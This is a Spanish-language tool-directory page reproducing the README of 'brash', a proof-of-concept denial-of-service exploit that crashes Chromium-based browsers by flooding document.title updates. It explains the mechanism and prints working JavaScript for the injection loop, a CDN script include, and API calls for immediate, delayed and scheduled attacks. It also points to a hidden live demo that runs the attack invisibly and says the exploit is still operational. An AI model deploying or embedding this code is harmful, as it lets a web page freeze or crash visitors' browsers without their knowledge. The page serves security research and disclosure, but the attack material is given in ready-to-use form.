Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
brash — Ataque DoS al navegador Chromium mediante la explotación de document.title | Kitploit
Herramientas/GitHubGitHub/jofpin/brash
Frameworks de ExploitsAnálisis de VulnerabilidadesExplotación de Aplicaciones WebPruebas de Penetración
GitHubjofpin/brash

brash

Ataque DoS al navegador Chromium mediante la explotación de document.title

Ver Repositorio
180625hace 11 mesesRevisado por Kitploit
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Brash

Brash por Jose Pino

Ataque DoS al Navegador Chromium mediante la explotación de document.title

Brash es una vulnerabilidad crítica en Blink, el motor de renderizado que impulsa los navegadores basados en Chromium de Google. Permite que cualquier navegador Chromium colapse en 15-60 segundos al explotar una falla arquitectónica en la forma en que se gestionan ciertas operaciones del DOM.

El vector de ataque se origina en la ausencia total de limitación de frecuencia (rate limiting) en las actualizaciones de la API document.title. Esto permite inyectar millones de mutaciones del DOM por segundo, y durante este intento de inyección satura el hilo principal, interrumpiendo el bucle de eventos y provocando el colapso de la interfaz. El impacto es significativo: consume altos recursos de CPU, degrada el rendimiento general del sistema y puede detener o ralentizar otros procesos que se ejecutan simultáneamente. Al afectar a los navegadores Chromium en entornos de escritorio, Android y embebidos, esta vulnerabilidad expone a más de 3 mil millones de personas en internet a una denegación de servicio a nivel de sistema.

ESTADO: Operativo
VERSIONES AFECTADAS: Chromium ≤ 143.0.7483.0 (probadas: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] El exploit está actualmente operativo. Una vez que la vulnerabilidad sea parcheada, este código dejará de funcionar. Aun así, descubrir esta falla arquitectónica y completar todo el proceso de investigación, documentación y diseño para compartir algo impactante con el mundo ha sido un viaje increíblemente gratificante.

Pruebas

Se probaron 11 navegadores principales en macOS, Windows y Linux para validar el impacto de la vulnerabilidad.

Vulnerables (Chromium/Blink)

Todos los navegadores basados en Chromium son vulnerables porque la falla existe en el núcleo del motor de renderizado Blink:

  • Chrome — colapsa en 15-30 segundos
  • Edge — colapsa en 15-25 segundos
  • Vivaldi — colapsa en 15-30 segundos
  • Arc Browser — colapsa en 15-30 segundos
  • Dia Browser — colapsa en 15-30 segundos
  • Opera — colapsa en ~60 segundos
  • Perplexity Comet — colapsa en 15-35 segundos
  • ChatGPT Atlas — colapsa en 15-60 segundos
  • Brave — colapsa en 30-125 segundos

No vulnerables (usan otros motores)

  • Firefox (motor Gecko) — inmune al ataque
  • Safari (motor WebKit) — inmune al ataque
  • Navegadores iOS (todos usan WebKit) — inmunes al ataque debido a la política obligatoria de Apple que exige que todos los navegadores de iOS usen WebKit como motor de renderizado, lo que hace imposibles los navegadores basados en Chromium en iOS

Cómo Funciona

Brash explota una falla arquitectónica fundamental en el motor de renderizado Blink: la ausencia de limitación (throttling) en las actualizaciones de document.title. El ataque opera en tres fases críticas:

1. Generación de Hash (Preparación)

Genera 100 cadenas hexadecimales únicas de 512 caracteres y las almacena en memoria antes de iniciar el ataque.

¿Por qué precargarlas en lugar de generarlas en tiempo real?

Porque generar nuevas cadenas constantemente consume tiempo de CPU en operaciones matemáticas. Ese tiempo es crítico: cada milisegundo dedicado a generar cadenas es tiempo NO utilizado para bombardear el navegador con actualizaciones de document.title.

Al tener 100 cadenas ya cargadas en memoria:

  • Ataque más rápido: Sin pausas para generar cadenas
  • CPU enfocada: 100% de los recursos dedicados a saturar el navegador
  • Menos pausas del sistema: Evita que el recolector de basura se active constantemente
  • Evita la detección: Las 100 cadenas diferentes evitan que el navegador almacene en caché u optimice las actualizaciones

Como resultado, logramos la máxima velocidad de inyección con el máximo consumo de memoria por actualización.

// Generates high-entropy unique IDs
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. Inyección por Ráfagas (Ataque)

Ejecuta ráfagas configurables de actualizaciones de título. Con la configuración predeterminada (burst: 8000, interval: 1ms), intenta inyectar aproximadamente 24 millones de actualizaciones por segundo, y es durante este intento cuando comienza el colapso del navegador.

// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Each burst performs 3 sequential updates
    }
    this.counter += 0x3;
}

3. Saturación del Hilo de UI (Colapso)

Las actualizaciones continuas saturan el hilo principal del navegador, impidiendo el procesamiento de otros eventos:

Cronología del colapso:

  • 0-5s: Saturación inicial del hilo de UI, consumo extremo de CPU
  • 5-10s: Pestaña completamente congelada, imposible de cerrar
  • 10-15s: Colapso del navegador o diálogo de "Página no responde"
  • 15-60s: Se requiere terminación forzada (navegadores basados en Chromium)

¿Por qué funciona?

Blink procesa cada cambio de document.title de forma síncrona en el hilo principal sin limitación de frecuencia. Esto crea un cuello de botella que:

  • Bloquea el bucle de eventos
  • Impide el procesamiento de la entrada del usuario
  • Satura la memoria con cadenas largas
  • Interrumpe el compositor y la canalización de renderizado
  • Provoca thrashing del proceso del navegador

Demo y PoC

Para comprender completamente el impacto de Brash, puedes experimentar el exploit en diferentes contextos, desde una demostración en vivo controlada hasta tu propia implementación. Cada opción está diseñada para diferentes niveles de interacción y comprensión técnica.

1. Demostración en Vivo

La forma más rápida de ver Brash en acción. Visita https://brash.run

Para ver el exploit sin interfaz gráfica, visita https://brash.run/hidden-live-demo.html. Esta versión ejecuta la inyección de forma invisible, simulando un ataque real.

2. Demostración Local

Si prefieres ejecutar la demo en tu propio entorno, el directorio exploit-demo/ incluido en el repositorio te permite:

  • Controles para ajustar la intensidad del ataque en tiempo real
  • Contador visual de actualizaciones por segundo
  • Tres modos predefinidos: moderado, agresivo y extremo
  • Observación del colapso progresivo del navegador

Simplemente abre exploit-demo/index.html en cualquier navegador Chromium y configura los valores burst e interval antes de comenzar.

  • burstSize: Cambios de título por intervalo (más alto = más agresivo)
  • interval: Milisegundos entre ráfagas (más bajo = más agresivo)

3. Implementa Tu Propio PoC

Para integrar Brash en tus propias pruebas de seguridad o investigaciones, incluye el script y configura el ataque:

Incluye el script:

<!-- Local -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

Uso de la API:

// 1. Immediate attack
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Delay in seconds (default)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 seconds
});

// 3. Delay with strings
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // or "5000ms" or "3m"
});

// 4. Scheduled attack
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

Configuraciones de intensidad:

Descargar herramienta